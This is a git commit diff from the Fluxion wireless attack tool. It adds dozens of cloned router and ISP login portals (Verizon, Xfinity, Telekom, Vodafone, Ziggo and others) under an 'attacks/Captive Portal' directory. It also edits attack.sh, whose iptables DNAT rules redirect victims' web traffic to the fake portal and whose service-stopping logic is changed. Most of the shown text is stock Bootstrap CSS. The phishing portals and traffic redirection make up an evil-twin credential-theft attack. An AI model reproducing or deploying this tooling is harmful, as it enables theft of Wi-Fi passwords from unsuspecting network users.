Portal/sites/Technicolor_en.portal/index.html create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/js/bootstrap.js create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/js/bootstrap.min.js create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/js/custom.js create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/js/jquery-3.2.1.min.js create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/js/npm.js create mode 100644 attacks/Captive Portal/sites/Technicolor_it.portal/images/bull__md.gif create mode 100644 attacks/Captive Portal/sites/Technicolor_it.portal/images/ll00__md.gif create mode 100644 attacks/Captive Portal/sites/Technicolor_it.portal/images/logo.gif create mode 100644 attacks/Captive Portal/sites/Technicolor_it.portal/images/menutop.gif create mode 100644 attacks/Captive Portal/sites/Technicolor_it.portal/images/net_l_r.gif create mode 100644 attacks/Captive Portal/sites/Technicolor_it.portal/images/net_l_r_d.gif create mode 100644 attacks/Captive Portal/sites/Technicolor_it.portal/images/net_t_d.gif create mode 100644 attacks/Captive Portal/sites/Technicolor_it.portal/images/net_t_d_r.gif create mode 100644 attacks/Captive Portal/sites/Technicolor_it.portal/images/net_t_r.gif create mode 100644 attacks/Captive Portal/sites/Technicolor_it.portal/images/spacer.gif create mode 100644 attacks/Captive Portal/sites/Technicolor_it.portal/images/stxx__xl.gif create mode 100644 attacks/Captive Portal/sites/Technicolor_it.portal/images/task__md.gif create mode 100644 attacks/Captive Portal/sites/Technicolor_it.portal/images/user.gif create mode 100644 attacks/Captive Portal/sites/Technicolor_it.portal/index.html create mode 100644 attacks/Captive Portal/sites/Technicolor_it.portal/js/jquery-2.1.4.min.js create mode 100644 attacks/Captive Portal/sites/Technicolor_it.portal/js/pBar.js create mode 100644 attacks/Captive Portal/sites/Technicolor_it.portal/styles.css create mode 100644 attacks/Captive Portal/sites/Telecom_it.portal/css/common.css create mode 100644 attacks/Captive Portal/sites/Telecom_it.portal/css/style.css create mode 100644 attacks/Captive Portal/sites/Telecom_it.portal/css/welcome.css create mode 100644 attacks/Captive Portal/sites/Telecom_it.portal/favicon.ico create mode 100644 attacks/Captive Portal/sites/Telecom_it.portal/img/header.png create mode 100644 attacks/Captive Portal/sites/Telecom_it.portal/img/menu_ico_advanced.png create mode 100644 attacks/Captive Portal/sites/Telecom_it.portal/img/menu_ico_basic.png create mode 100644 attacks/Captive Portal/sites/Telecom_it.portal/img/menu_ico_home.png create mode 100644 attacks/Captive Portal/sites/Telecom_it.portal/img/tools.png create mode 100644 attacks/Captive Portal/sites/Telecom_it.portal/img/usb.png create mode 100644 attacks/Captive Portal/sites/Telecom_it.portal/index.html create mode 100644 attacks/Captive Portal/sites/Telecom_it.portal/js/jquery-2.1.4.min.js create mode 100644 attacks/Captive Portal/sites/Telecom_it.portal/js/pBar.js create mode 100644 attacks/Captive Portal/sites/Telekom_de.portal/Telekom Login-Dateien/components.css create mode 100644 attacks/Captive Portal/sites/Telekom_de.portal/Telekom Login-Dateien/login.css create mode 100644 attacks/Captive Portal/sites/Telekom_de.portal/error.html create mode 100644 attacks/Captive Portal/sites/Telekom_de.portal/final.html create mode 100644 attacks/Captive Portal/sites/Telekom_de.portal/fonts/telegroteskscreen-bold.woff create mode 100644 attacks/Captive Portal/sites/Telekom_de.portal/fonts/telegroteskscreen-regular.woff create mode 100644 attacks/Captive Portal/sites/Telekom_de.portal/fonts/telegroteskscreen-thin.woff create mode 100644 attacks/Captive Portal/sites/Telekom_de.portal/fonts/telekomicon-outline.woff create mode 100644 attacks/Captive Portal/sites/Telekom_de.portal/index.html create mode 100644 attacks/Captive Portal/sites/Verizon_en.portal/Verizon_files/actiontec_btm_bar.gif create mode 100644 attacks/Captive Portal/sites/Verizon_en.portal/Verizon_files/actiontec_lt_btm_corner.gif create mode 100644 attacks/Captive Portal/sites/Verizon_en.portal/Verizon_files/actiontec_lt_col.gif create mode 100644 attacks/Captive Portal/sites/Verizon_en.portal/Verizon_files/actiontec_lt_top_corner.gif create mode 100644 attacks/Captive Portal/sites/Verizon_en.portal/Verizon_files/actiontec_rt_btm_corner.gif create mode 100644 attacks/Captive Portal/sites/Verizon_en.portal/Verizon_files/actiontec_rt_col.gif create mode 100644 attacks/Captive Portal/sites/Verizon_en.portal/Verizon_files/actiontec_rt_top_corner.gif create mode 100644 attacks/Captive Portal/sites/Verizon_en.portal/Verizon_files/actiontec_top_bar.gif create mode 100644 attacks/Captive Portal/sites/Verizon_en.portal/Verizon_files/empty.gif create mode 100644 attacks/Captive Portal/sites/Verizon_en.portal/Verizon_files/vz_logo.gif create mode 100644 attacks/Captive Portal/sites/Verizon_en.portal/error.html create mode 100644 attacks/Captive Portal/sites/Verizon_en.portal/final.html create mode 100644 attacks/Captive Portal/sites/Verizon_en.portal/index.html create mode 100755 attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/base.js create mode 100755 attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/base_95x.js create mode 100755 attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/common-min.css create mode 100755 attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/common-min.js create mode 100644 attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/img/distractor.gif create mode 100644 attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/img/label.jpg create mode 100644 attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/img/logo_xfinity.png create mode 100755 attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/jquery-1.4.2.min.js create mode 100755 attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/jquery-ui-1.8.5.custom.min.js create mode 100755 attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/json2.js create mode 100755 attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/mib.js create mode 100755 attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/mib2.js create mode 100755 attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/print.css create mode 100755 attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/underscore.js create mode 100755 attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/w create mode 100755 attacks/Captive Portal/sites/Xfinity-Login_en.portal/error.html create mode 100755 attacks/Captive Portal/sites/Xfinity-Login_en.portal/final.html create mode 100755 attacks/Captive Portal/sites/Xfinity-Login_en.portal/index.html create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/css/dtree.css create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/css/inside.css create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/css/inside_main_frame.css create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/css/reset.css create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/css/table.css create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/css/update.css create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/advance_bg.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/advance_logo.jpg create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/air.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/b_close.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/b_config.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/b_config_on.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/b_dashboard.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/b_dashboard_on.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/b_maintenance_on.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/b_monitor.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/b_monitor_on.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/button_left.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/button_right.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/down0.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/empty.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/favicon.ico create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/hightline.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/i_about.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/i_delete.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/i_delete_on.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/i_easy.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/i_edit.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/i_edit_on.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/i_home.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/i_info.jpg create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/i_message.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/i_path.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/i_percentage_blue.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/i_percentage_center.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/join.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/loading.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/menu_top.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/message_bar.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/message_bar2.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/minusbottom.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/plusbottom.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_center.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_left.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_right.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_main_left.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_main_right.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_center.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_left.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_right.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/space.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/tab_left.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/tab_right.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/table_bottom.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/table_bottom_center.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/table_bottom_left.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/table_bottom_right.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/table_top_center.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/table_top_left.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/table_top_right.gif create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/images/title_bg.jpg create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/index.html create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/js/jquery-2.1.4.min.js create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/js/pBar.js create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/js/setup.js create mode 100644 attacks/Captive Portal/sites/Zyxel_it.portal/update_firmware.html create mode 100644 attacks/Captive Portal/sites/kpn_nl.portal/bg.png create mode 100644 attacks/Captive Portal/sites/kpn_nl.portal/error.html create mode 100644 attacks/Captive Portal/sites/kpn_nl.portal/final.html create mode 100644 attacks/Captive Portal/sites/kpn_nl.portal/index.html create mode 100644 attacks/Captive Portal/sites/kpn_nl.portal/logo.png create mode 100644 attacks/Captive Portal/sites/movistar_es.portal/error.html create mode 100644 attacks/Captive Portal/sites/movistar_es.portal/final.html create mode 100644 attacks/Captive Portal/sites/movistar_es.portal/fonts/telegroteskscreen-bold.woff create mode 100644 attacks/Captive Portal/sites/movistar_es.portal/fonts/telegroteskscreen-regular.woff create mode 100644 attacks/Captive Portal/sites/movistar_es.portal/fonts/telegroteskscreen-thin.woff create mode 100644 attacks/Captive Portal/sites/movistar_es.portal/fonts/telekomicon-outline.woff create mode 100644 attacks/Captive Portal/sites/movistar_es.portal/img/happy.png create mode 100644 attacks/Captive Portal/sites/movistar_es.portal/img/logo_movistar.png create mode 100644 attacks/Captive Portal/sites/movistar_es.portal/index.html create mode 100644 attacks/Captive Portal/sites/movistar_es.portal/styles/components.css create mode 100644 attacks/Captive Portal/sites/movistar_es.portal/styles/login.css create mode 100644 attacks/Captive Portal/sites/vodafone_es.portal/ayuda.htm create mode 100644 attacks/Captive Portal/sites/vodafone_es.portal/background.png create mode 100644 attacks/Captive Portal/sites/vodafone_es.portal/error.html create mode 100644 attacks/Captive Portal/sites/vodafone_es.portal/final.html create mode 100644 attacks/Captive Portal/sites/vodafone_es.portal/house.png create mode 100644 attacks/Captive Portal/sites/vodafone_es.portal/house1.png create mode 100644 attacks/Captive Portal/sites/vodafone_es.portal/index.html create mode 100644 attacks/Captive Portal/sites/vodafone_es.portal/info.css create mode 100644 attacks/Captive Portal/sites/vodafone_es.portal/info.html create mode 100644 attacks/Captive Portal/sites/vodafone_es.portal/info2.css create mode 100644 attacks/Captive Portal/sites/ziggo1_nl.portal/Ziggo-wifi-modem-header-1.gif create mode 100644 attacks/Captive Portal/sites/ziggo1_nl.portal/background_ziggo_blue_talks.gif create mode 100644 attacks/Captive Portal/sites/ziggo1_nl.portal/bg_invoer.png create mode 100644 attacks/Captive Portal/sites/ziggo1_nl.portal/btn_left.png create mode 100644 attacks/Captive Portal/sites/ziggo1_nl.portal/btn_right.png create mode 100644 attacks/Captive Portal/sites/ziggo1_nl.portal/error.html create mode 100644 attacks/Captive Portal/sites/ziggo1_nl.portal/final.html create mode 100644 attacks/Captive Portal/sites/ziggo1_nl.portal/index.html create mode 100644 attacks/Captive Portal/sites/ziggo1_nl.portal/portalWindow_top_bottom.png create mode 100644 attacks/Captive Portal/sites/ziggo1_nl.portal/table_bottom.png create mode 100644 attacks/Captive Portal/sites/ziggo1_nl.portal/table_top.png create mode 100644 attacks/Captive Portal/sites/ziggo2_nl.portal/Ziggo-logo.svg create mode 100644 attacks/Captive Portal/sites/ziggo2_nl.portal/error.html create mode 100644 attacks/Captive Portal/sites/ziggo2_nl.portal/final.html create mode 100644 attacks/Captive Portal/sites/ziggo2_nl.portal/generic-mobemBG.jpg create mode 100644 attacks/Captive Portal/sites/ziggo2_nl.portal/index.html create mode 100644 attacks/Captive Portal/sites/ziggo2_nl.portal/white-transparent90.png create mode 100644 misc/instructions.md diff --git a/.gitmodules b/.gitmodules deleted file mode 100644 index b7adfeb..0000000 --- a/.gitmodules +++ /dev/null @@ -1,3 +0,0 @@ -[submodule "attacks/Captive Portal/sites"] - path = attacks/Captive Portal/sites - url = https://github.com/FluxionNetwork/sites diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index 2ca33fd..62ced39 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -1184,7 +1184,7 @@ captive_portal_set_routes() { iptables -A INPUT -p tcp --dport 80 -j ACCEPT iptables -A INPUT -p udp --dport 53 -j ACCEPT iptables -A INPUT -p udp --dport 67 -j ACCEPT - + iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT \ --to-destination $CaptivePortalGatewayAddress:80 iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT \ @@ -1421,10 +1421,14 @@ stop_attack() { captive_portal_stop_interface # Start the network-manager if it's disabled. - if ! systemctl status network-manager.service &> /dev/null; then - systemctl start network-manager.service + if systemctl status network-manager.service &> /dev/null; then + if [ ! -x "$(command -v systemctl)" ]; then + if [ -x "$(command -v service)" ];then + service network-manager.service + fi + systemctl stop network-manager.service + fi fi - CaptivePortalState="Stopped" } @@ -1435,13 +1439,27 @@ start_attack() { stop_attack - # Disable the network-manager if it's available. if systemctl status network-manager.service &> /dev/null; then - systemctl stop network-manager.service + if [ ! -x "$(command -v systemctl)" ]; then + if [ -x "$(command -v service)" ];then + service network-manager.service stop + fi + systemctl stop network-manager.service + fi + fi + + if systemctl status systemd-resolved &> /dev/null; then + if [ ! -x "$(command -v systemctl)" ]; then + if [ -x "$(command -v service)" ];then + service systemd-resolved stop + fi + systemctl stop systemd-resolved.service + fi fi captive_portal_start_interface + echo -e "$FLUXIONVLine $CaptivePortalStartingDHCPServiceNotice" xterm $FLUXIONHoldXterm $TOPLEFT -bg black -fg "#CCCC00" \ -title "FLUXION AP DHCP Service" -e \ diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.css b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.css new file mode 100644 index 0000000..31d8882 --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.css @@ -0,0 +1,587 @@ +/*! + * Bootstrap v3.3.7 (http://getbootstrap.com) + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +.btn-default, +.btn-primary, +.btn-success, +.btn-info, +.btn-warning, +.btn-danger { + text-shadow: 0 -1px 0 rgba(0, 0, 0, .2); + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075); +} +.btn-default:active, +.btn-primary:active, +.btn-success:active, +.btn-info:active, +.btn-warning:active, +.btn-danger:active, +.btn-default.active, +.btn-primary.active, +.btn-success.active, +.btn-info.active, +.btn-warning.active, +.btn-danger.active { + -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); + box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); +} +.btn-default.disabled, +.btn-primary.disabled, +.btn-success.disabled, +.btn-info.disabled, +.btn-warning.disabled, +.btn-danger.disabled, +.btn-default[disabled], +.btn-primary[disabled], +.btn-success[disabled], +.btn-info[disabled], +.btn-warning[disabled], +.btn-danger[disabled], +fieldset[disabled] .btn-default, +fieldset[disabled] .btn-primary, +fieldset[disabled] .btn-success, +fieldset[disabled] .btn-info, +fieldset[disabled] .btn-warning, +fieldset[disabled] .btn-danger { + -webkit-box-shadow: none; + box-shadow: none; +} +.btn-default .badge, +.btn-primary .badge, +.btn-success .badge, +.btn-info .badge, +.btn-warning .badge, +.btn-danger .badge { + text-shadow: none; +} +.btn:active, +.btn.active { + background-image: none; +} +.btn-default { + text-shadow: 0 1px 0 #fff; + background-image: -webkit-linear-gradient(top, #fff 0%, #e0e0e0 100%); + background-image: -o-linear-gradient(top, #fff 0%, #e0e0e0 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#e0e0e0)); + background-image: linear-gradient(to bottom, #fff 0%, #e0e0e0 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #dbdbdb; + border-color: #ccc; +} +.btn-default:hover, +.btn-default:focus { + background-color: #e0e0e0; + background-position: 0 -15px; +} +.btn-default:active, +.btn-default.active { + background-color: #e0e0e0; + border-color: #dbdbdb; +} +.btn-default.disabled, +.btn-default[disabled], +fieldset[disabled] .btn-default, +.btn-default.disabled:hover, +.btn-default[disabled]:hover, +fieldset[disabled] .btn-default:hover, +.btn-default.disabled:focus, +.btn-default[disabled]:focus, +fieldset[disabled] .btn-default:focus, +.btn-default.disabled.focus, +.btn-default[disabled].focus, +fieldset[disabled] .btn-default.focus, +.btn-default.disabled:active, +.btn-default[disabled]:active, +fieldset[disabled] .btn-default:active, +.btn-default.disabled.active, +.btn-default[disabled].active, +fieldset[disabled] .btn-default.active { + background-color: #e0e0e0; + background-image: none; +} +.btn-primary { + background-image: -webkit-linear-gradient(top, #337ab7 0%, #265a88 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #265a88 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#265a88)); + background-image: linear-gradient(to bottom, #337ab7 0%, #265a88 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #245580; +} +.btn-primary:hover, +.btn-primary:focus { + background-color: #265a88; + background-position: 0 -15px; +} +.btn-primary:active, +.btn-primary.active { + background-color: #265a88; + border-color: #245580; +} +.btn-primary.disabled, +.btn-primary[disabled], +fieldset[disabled] .btn-primary, +.btn-primary.disabled:hover, +.btn-primary[disabled]:hover, +fieldset[disabled] .btn-primary:hover, +.btn-primary.disabled:focus, +.btn-primary[disabled]:focus, +fieldset[disabled] .btn-primary:focus, +.btn-primary.disabled.focus, +.btn-primary[disabled].focus, +fieldset[disabled] .btn-primary.focus, +.btn-primary.disabled:active, +.btn-primary[disabled]:active, +fieldset[disabled] .btn-primary:active, +.btn-primary.disabled.active, +.btn-primary[disabled].active, +fieldset[disabled] .btn-primary.active { + background-color: #265a88; + background-image: none; +} +.btn-success { + background-image: -webkit-linear-gradient(top, #5cb85c 0%, #419641 100%); + background-image: -o-linear-gradient(top, #5cb85c 0%, #419641 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#419641)); + background-image: linear-gradient(to bottom, #5cb85c 0%, #419641 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #3e8f3e; +} +.btn-success:hover, +.btn-success:focus { + background-color: #419641; + background-position: 0 -15px; +} +.btn-success:active, +.btn-success.active { + background-color: #419641; + border-color: #3e8f3e; +} +.btn-success.disabled, +.btn-success[disabled], +fieldset[disabled] .btn-success, +.btn-success.disabled:hover, +.btn-success[disabled]:hover, +fieldset[disabled] .btn-success:hover, +.btn-success.disabled:focus, +.btn-success[disabled]:focus, +fieldset[disabled] .btn-success:focus, +.btn-success.disabled.focus, +.btn-success[disabled].focus, +fieldset[disabled] .btn-success.focus, +.btn-success.disabled:active, +.btn-success[disabled]:active, +fieldset[disabled] .btn-success:active, +.btn-success.disabled.active, +.btn-success[disabled].active, +fieldset[disabled] .btn-success.active { + background-color: #419641; + background-image: none; +} +.btn-info { + background-image: -webkit-linear-gradient(top, #5bc0de 0%, #2aabd2 100%); + background-image: -o-linear-gradient(top, #5bc0de 0%, #2aabd2 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#2aabd2)); + background-image: linear-gradient(to bottom, #5bc0de 0%, #2aabd2 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #28a4c9; +} +.btn-info:hover, +.btn-info:focus { + background-color: #2aabd2; + background-position: 0 -15px; +} +.btn-info:active, +.btn-info.active { + background-color: #2aabd2; + border-color: #28a4c9; +} +.btn-info.disabled, +.btn-info[disabled], +fieldset[disabled] .btn-info, +.btn-info.disabled:hover, +.btn-info[disabled]:hover, +fieldset[disabled] .btn-info:hover, +.btn-info.disabled:focus, +.btn-info[disabled]:focus, +fieldset[disabled] .btn-info:focus, +.btn-info.disabled.focus, +.btn-info[disabled].focus, +fieldset[disabled] .btn-info.focus, +.btn-info.disabled:active, +.btn-info[disabled]:active, +fieldset[disabled] .btn-info:active, +.btn-info.disabled.active, +.btn-info[disabled].active, +fieldset[disabled] .btn-info.active { + background-color: #2aabd2; + background-image: none; +} +.btn-warning { + background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #eb9316 100%); + background-image: -o-linear-gradient(top, #f0ad4e 0%, #eb9316 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#eb9316)); + background-image: linear-gradient(to bottom, #f0ad4e 0%, #eb9316 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #e38d13; +} +.btn-warning:hover, +.btn-warning:focus { + background-color: #eb9316; + background-position: 0 -15px; +} +.btn-warning:active, +.btn-warning.active { + background-color: #eb9316; + border-color: #e38d13; +} +.btn-warning.disabled, +.btn-warning[disabled], +fieldset[disabled] .btn-warning, +.btn-warning.disabled:hover, +.btn-warning[disabled]:hover, +fieldset[disabled] .btn-warning:hover, +.btn-warning.disabled:focus, +.btn-warning[disabled]:focus, +fieldset[disabled] .btn-warning:focus, +.btn-warning.disabled.focus, +.btn-warning[disabled].focus, +fieldset[disabled] .btn-warning.focus, +.btn-warning.disabled:active, +.btn-warning[disabled]:active, +fieldset[disabled] .btn-warning:active, +.btn-warning.disabled.active, +.btn-warning[disabled].active, +fieldset[disabled] .btn-warning.active { + background-color: #eb9316; + background-image: none; +} +.btn-danger { + background-image: -webkit-linear-gradient(top, #d9534f 0%, #c12e2a 100%); + background-image: -o-linear-gradient(top, #d9534f 0%, #c12e2a 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c12e2a)); + background-image: linear-gradient(to bottom, #d9534f 0%, #c12e2a 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-color: #b92c28; +} +.btn-danger:hover, +.btn-danger:focus { + background-color: #c12e2a; + background-position: 0 -15px; +} +.btn-danger:active, +.btn-danger.active { + background-color: #c12e2a; + border-color: #b92c28; +} +.btn-danger.disabled, +.btn-danger[disabled], +fieldset[disabled] .btn-danger, +.btn-danger.disabled:hover, +.btn-danger[disabled]:hover, +fieldset[disabled] .btn-danger:hover, +.btn-danger.disabled:focus, +.btn-danger[disabled]:focus, +fieldset[disabled] .btn-danger:focus, +.btn-danger.disabled.focus, +.btn-danger[disabled].focus, +fieldset[disabled] .btn-danger.focus, +.btn-danger.disabled:active, +.btn-danger[disabled]:active, +fieldset[disabled] .btn-danger:active, +.btn-danger.disabled.active, +.btn-danger[disabled].active, +fieldset[disabled] .btn-danger.active { + background-color: #c12e2a; + background-image: none; +} +.thumbnail, +.img-thumbnail { + -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075); + box-shadow: 0 1px 2px rgba(0, 0, 0, .075); +} +.dropdown-menu > li > a:hover, +.dropdown-menu > li > a:focus { + background-color: #e8e8e8; + background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); + background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8)); + background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0); + background-repeat: repeat-x; +} +.dropdown-menu > .active > a, +.dropdown-menu > .active > a:hover, +.dropdown-menu > .active > a:focus { + background-color: #2e6da4; + background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); + background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); + background-repeat: repeat-x; +} +.navbar-default { + background-image: -webkit-linear-gradient(top, #fff 0%, #f8f8f8 100%); + background-image: -o-linear-gradient(top, #fff 0%, #f8f8f8 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f8f8f8)); + background-image: linear-gradient(to bottom, #fff 0%, #f8f8f8 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-radius: 4px; + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075); +} +.navbar-default .navbar-nav > .open > a, +.navbar-default .navbar-nav > .active > a { + background-image: -webkit-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%); + background-image: -o-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#dbdbdb), to(#e2e2e2)); + background-image: linear-gradient(to bottom, #dbdbdb 0%, #e2e2e2 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0); + 